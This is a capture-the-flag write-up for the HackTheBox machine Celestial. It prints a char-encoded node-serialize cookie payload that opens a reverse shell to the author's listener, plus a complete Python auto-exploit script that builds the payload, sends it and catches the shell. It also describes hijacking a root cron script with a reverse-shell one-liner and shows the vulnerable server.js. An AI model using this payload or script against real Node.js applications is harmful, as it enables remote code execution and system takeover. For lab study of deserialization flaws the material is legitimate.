Home HackTheBox - Celestial
Post
Cancel

HackTheBox - Celestial

Celestial was a Medium Level Box from HackTheBox with Linux OS. For me it was an extremelly easy box, since we can exploit it with just setting properly one cookie and the nodejs server serialize and execute it.

The privelege escalation is trough cron, which executes a python script each 5 minutes.

Diagram

Here is the diagram for this machine. It’s a resume from it.

graph TD
    A[Enumeration] -->|Nmap| B(NodeJS port 3000)
    B --> |Hit F5| C[Set Cookie]
    C --> |NodeJS Deserealization| D(Code Execution)
    D --> |Python Script| E[Automated Reverse Shell]
    E --> |pspy - cron| F[root]

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.85

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 3000

Once we found just the port 3000 opened, so let’s focus on this one to enumerate it.

We open it on the browser and see what is being shown.

When tryied to access 10.10.10.85 on the browser.

We see on the source code something interesting

It’s a node js app, as the nmap shows me

Once we hit F5, the page shows something different

And we get it in burp

It shows: Hey Dummy 2 + 2 is 22 and set a cookie

The cookie is Base64 and URL Encoded

If we try to change the code

It accepts.

Nodejs Deserealization

It seems to be a tipical Deserealization attack. Because it’s being passed a string as cookie and we can manipulate it.

Looking arround on the internet we found a blog (the first one) which explain it better

NodeJS Deserealization

We download the NodeJS Shell GitHub

And start crafting our payload

We can see what it is going to be executed on the eval function

Now let’s generate the serialized payload and add IIFE brackets () after the function body and convert to base64

1
{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,50,48,34,59,10,80,79,82,84,61,34,52,52,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

Now, just put on the Cookie and open our nc listener

It shows an error message, but we got the reverse shell

Ok, now let’s automate it

auto_rev.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/python3
# Date: 2021-10-12
# Exploit Author: 0x4rt3mis
# Hack The Box - Celestial
# Auto exploit from NodeJS Deserealization
# https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py

import argparse
import requests
import sys
import base64
import socket, telnetlib
from threading import Thread

'''Setting up something important'''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''
# Setting up the handler
def handler(lport,target):
    print("[+] Starting handler on %s [+]" %lport) 
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection from %s [+]" %target) 
    t.sock = conn
    print("[+] Shell'd [+]")
    t.interact()

# Function to mount the payload
def mountPayload(lhost,lport):
	payload = ''
	payload += "var net = require('net');\n"
	payload += "var spawn = require('child_process').spawn;\n"
	payload += "HOST='%s';\n" %lhost
	payload += "PORT='%s';\n" %lport
	payload += "TIMEOUT='5000';\n"
	payload += "if (typeof String.prototype.contains === 'undefined') { String.prototype.contains = function(it) { return this.indexOf(it) != -1; }; }\n"
	payload += "function c(HOST,PORT) {\n"
	payload += "    var client = new net.Socket();\n"
	payload += "    client.connect(PORT, HOST, function() {\n"
	payload += "        var sh = spawn('/bin/sh',[]);\n"
	payload += "        client.write('Connected!');\n"
	payload += "        client.pipe(sh.stdin);\n"
	payload += "        sh.stdout.pipe(client);\n"
	payload += "        sh.stderr.pipe(client);\n"
	payload += "        sh.on('exit',function(code,signal){\n"
	payload += "          client.end('Disconnected!');\n"
	payload += "        });\n"
	payload += "    });\n"
	payload += "    client.on('error', function(e) {\n"
	payload += "        setTimeout(c(HOST,PORT), TIMEOUT);\n"
	payload += "    });\n"
	payload += "}\n"
	payload += "c(HOST,PORT);"
	return payload

# Function to encode it
def charencode(string):
    encoded = ''
    for char in string:
        encoded = encoded + "," + str(ord(char))
    return encoded[1:]

def sendRequest(rhost,nodejs_payload):
	exploit = '{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(%s))}()"}' %nodejs_payload
	exploit = base64.b64encode(bytes(exploit, 'utf-8'))
	exploit = exploit.decode('utf-8')
	url = "http://%s:3000/" %rhost
	cookies = {"profile": "%s" %exploit}
	r.get(url, cookies=cookies, proxies=proxies)

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--ipaddress', help='Listening IP address for reverse shell', required=True)
    parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=True)
    args = parser.parse_args()
    
    rhost = args.target
    lhost = args.ipaddress
    lport = args.port
    
    '''Here we call the functions'''
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()
    # Let's mount the payload
    # Let's set the nodejs payload
    nodejs_payload = charencode(mountPayload(lhost,lport))
    # Let's trigger the reverse
    sendRequest(rhost,nodejs_payload)
    
if __name__ == '__main__':
    main()

sun -> root

Now, let’s start the privilege escalation to get a root shell on this box

We run pspy to get what is running as cron on this box

After some minutes it comes to our terminal

So, hijack that file. Create a python rev shell one liner and put there.

And wait for the reverse shell when it become executed and we become root

Code Analysis

Now let’s perform a small code analysis on server.js which is running on the server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
 
app.get('/', function(req, res) {
 if (req.cookies.profile) {
   var str = new Buffer(req.cookies.profile, 'base64').toString();
   var obj = serialize.unserialize(str);
   if (obj.username) { 
     var sum = eval(obj.num + obj.num);
     res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
   }else{
     res.send("An error occurred...invalid username type"); 
   }
}else {
     res.cookie('profile', "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==", {
       maxAge: 900000,
       httpOnly: true
     });
 }
 res.send("<h1>404</h1>");
});
app.listen(3000);

What we can see here? When the cookie is not seted, it sends a 404 error, when it is seted it shows a different message. The function serialize is vulnerable and executes a eval().

We can see the crontab too, executing the script each 5 minutes!

This post is licensed under CC BY 4.0 by the author.